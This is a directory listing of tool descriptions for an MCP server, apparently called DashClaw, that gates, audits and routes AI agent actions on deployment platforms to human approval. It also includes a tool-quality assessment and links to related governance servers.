Check DashClaw authoritative gate configuration and reachability.
Inputs: no named parameters.
dashclaw_wait_for_approvalA
Wait for a human to approve or deny a pending action in DashClaw Mission Control. Call this after a guard decision returns "require_approval" or after recording an action with status "pending_approval". Polls the action status until it changes. Default timeout is 300 seconds (5 minutes).
Inputs: action_id (required), timeout_seconds, poll_interval_seconds.
dashclaw_work_order_statusA
Check a DashClaw work order: current lifecycle status, worker, guard decision, and — once terminal — the self-verifying receipt (cost, output hash, governance trail).
Inputs: work_order_id (required).
dashclaw_work_order_submitA
Submit a DashClaw work order: a typed, budget-capped unit of agent work governed by policy. The order is validated against the registered contract for its type, guard-gated (may be blocked or parked for human approval), then queued for any worker to claim. Returns work_order_id + status + the guard decision.
Inputs: type (required), input (required), max_cost_usd, timeout_seconds.
doctorDoctorA
Run local readiness checks: project/environment resolution, mappings, credential env vars, and audit writability. When DASHCLAW_URL and DASHCLAW_API_KEY are configured, the result also includes a read-only report.platform section fetched from the DashClaw platform's own /api/doctor endpoint.
Inputs: project, environment.
explain_action_riskExplain action riskC
Dry-run local policy and DashClaw guard context for a provider action without executing it.
Inputs: tool (required), summary (required), provider (required), capability (required), +4 more.
export_audit_logExport audit logC
Export recent audit entries as jsonl, csv, or markdown.
Inputs: format (required), limit, project, provider, +1 more.
export_contextExport context snapshotC
Export a versioned project context snapshot as JSON or Markdown.
Inputs: format (required), project, environment.
export_dashclaw_evidenceExport DashClaw evidenceC
Export local audit entries that include DashClaw guard/evidence metadata.
Inputs: limit, project, provider, environment.
get_app_logsGet app logsA
Fetch application/deployment logs for a project environment from the mapped provider(s). If provider is given, reads that provider only; otherwise reads every mapped provider that supports logs (Vercel + Railway in V0, Vercel prioritized). Returns the resource used, time range, log lines, and any API limitation. Reads are allowed everywhere and are audited.
Inputs: environment (required), limit, since, project, +2 more.
get_latest_deployment_logsGet latest deployment logsA
Convenience: find the latest deployment for the mapped provider (default Vercel) and fetch its logs. Returns deployment status + logs. Read-only and audited.
Inputs: environment (required), project, provider.
get_launch_statusGet launch statusA
Load a launch plan and report done / pending / blocked-on-approval / failed per step plus THE single next action. Completion is verified, not self-reported: every step's reality check is re-evaluated against provider/local state (reads only, audited), so a crashed session cannot leave phantom done marks. Resumable across sessions.
Inputs: plan_id (required).
get_project_contextGet project contextA
THE tool to call FIRST. Returns the full production context for a project/environment: GitHub repo, Vercel project + live latest deployment status/URL/failure, Supabase project, Stripe mode, what is allowed / blocked / approval-required, project memory, recent audit history, suggested safe next actions, and a human-readable summary. Pass environment to focus on one (recommended); otherwise all environments are returned.
Inputs: project, environment.
get_provider_mappingGet provider mappingC
Get the concrete provider resource mapped to a given environment.
Inputs: provider (required), environment (required), project.
governed_action_summaryGoverned action summaryC
Summarize recent local audit entries with DashClaw correlation fields.
Inputs: limit, project, provider, environment.
list_audit_logList audit logB
List recent audit entries (every provider action is logged here). Filter by project, environment, provider.
Inputs: limit, project, provider, environment.
list_connectionsList provider connectionsA
List configured provider connections. Secrets are never returned; only env var names are shown.
Inputs: provider.
list_environmentsList environmentsA
List environments for a project.
Inputs: project.
list_pending_approvalsList pending approvalsC
List approval requests created by gated provider actions.
Inputs: status, project.
list_policy_rulesList policy rulesA
List explicit policy rules (highest priority first). Built-in defaults also apply.
Inputs: no named parameters.
list_projectsList projectsA
List all known projects and which one is currently selected.
Inputs: no named parameters.
list_provider_mappingsList provider mappingsA
List all environment→provider-resource mappings for a project.
Inputs: project.
map_provider_resourceMap provider resourceB
Bind a provider resource to a project environment. Examples of resource: {provider:'github',owner:'your-org',repo:'your-repo'}, {provider:'vercel',projectId:'your-vercel-project'}, {provider:'supabase',projectRef:'your_project_ref'}, {provider:'stripe',mode:'live'}.
Inputs: provider (required), resource (required), environment (required), project, +1 more.
preflight_launchPreflight launchA
Run before step 1 — verifies the declared stack is actually launchable: provider tokens present AND valid (cheap authenticated read each), mappings complete, Stripe mode sanity (live vs test key for the target environment), Namecheap client IP whitelisted. Returns pass/fail per check with remediation hints. Run before any money is spent.
Inputs: plan_id (required).
read_project_memoryRead project memoryA
Read short notes saved for a project (optionally scoped to one environment).
Inputs: project, environment.
reject_actionReject actionA
Reject a pending action request so it cannot be approved later.
Inputs: approvalId (required), note.
select_projectSelect projectA
Set the active project used by tools that omit an explicit project arg.
Inputs: project (required).
set_app_env_varsSet app env varsA
Set multiple environment variables on the mapped Vercel or Railway app under one governed env_change action. Values are sent to the target provider but are not included in DashClaw/audit summaries. Production changes require approval by default.
Inputs: vars (required), environment (required), targetProvider (required), target, +3 more.
set_policy_ruleSet policy ruleA
Add an explicit policy rule that overrides defaults. Higher priority wins. Use this to approve something normally gated (effect:'allow') or to tighten further (effect:'block').
Inputs: match (required), effect (required), priority, description.
simulate_actionSimulate actionC
Simulate a provider capability in an environment without executing a provider call or writing audit entries.
Inputs: provider (required), capability (required), environment (required), live, +2 more.
verify_launchVerify launchA
Run after the last step — end-to-end verification that the launch actually works: domain resolves, latest deployment READY, required env vars present on the app, Stripe webhook enabled, email sending domain verified. Reads only, audited.
Inputs: plan_id (required).
write_project_memoryWrite project memoryA
Save a short note for a project/environment so future agent sessions know what happened (e.g. 'Last Vercel deploy failed because DATABASE_URL was missing').
Inputs: note (required), tags, project, environment.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
Loading tool schema changelog…
TDQS
Scored across 68 tools
Many tools have overlapping purposes, e.g., multiple list tools and similar-sounding tools like dashclaw_decisions_recent and dashclaw_recent_decisions. Agents may struggle to select the correct tool without careful reading.
Tool names are inconsistent: some use snake_case, others start with 'dashclaw_', and verb patterns vary (add, create, list, get). No clear naming convention is followed.
With 68 tools, the surface is overly large for a single server. While the domain is broad, many tools could be consolidated or split into separate servers to reduce complexity.
The tool set covers a wide range of DashClaw operations including governance, secrets, audit, launch plans, and session management. Minor gaps may exist but overall it offers a comprehensive surface.
Maintenance
Related MCP Connectors
Zero-secret MCP gateway for AI agents: risk-scored, audited calls with human-in-the-loop approval.
MCP server for your apps' tools and custom tools, plus hosted AI agents and approval-gated workflows
AgentGuard — 20-tool AI safety MCP: policy preflight, risk scoring, audit logging, rate limits.
Pre-execution governance for AI agents. Deterministic PASS/FAIL/REVIEW verdicts, replayable proof.
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceMCP Guard Server - Budget control, approval workflows and audit logging for AI agents (Claude Code, Cursor, ChatGPT)MIT

Oakallow MCP Serverofficial
AlicenseNot gradedqualityBmaintenanceRuntime permission, approval, and audit governance for AI agent tool execution, enabling human oversight of risky actions via an MCP server.1MIT- FlicenseNot gradedqualityDmaintenanceMCP server that provides a security gateway for AI agents, enforcing allow/confirm/deny policies on tool calls and requiring human approval for risky operations, with full audit logging.-
- FlicenseAqualityCmaintenanceAn MCP server that exposes governance, trust-scoring, compliance, guardrail, cost, drift, and supply-chain scanning tools and resources to any MCP client over stdio, Streamable HTTP, or legacy HTTP+SSE. It lets agents route every tool call through a deterministic five-way decision (allow, redact, require approval, deny, or quarantine) with hash-chained evidence, human approval workflows, and in-agent trust gates for LangChain, LangGraph, and Google ADK.30-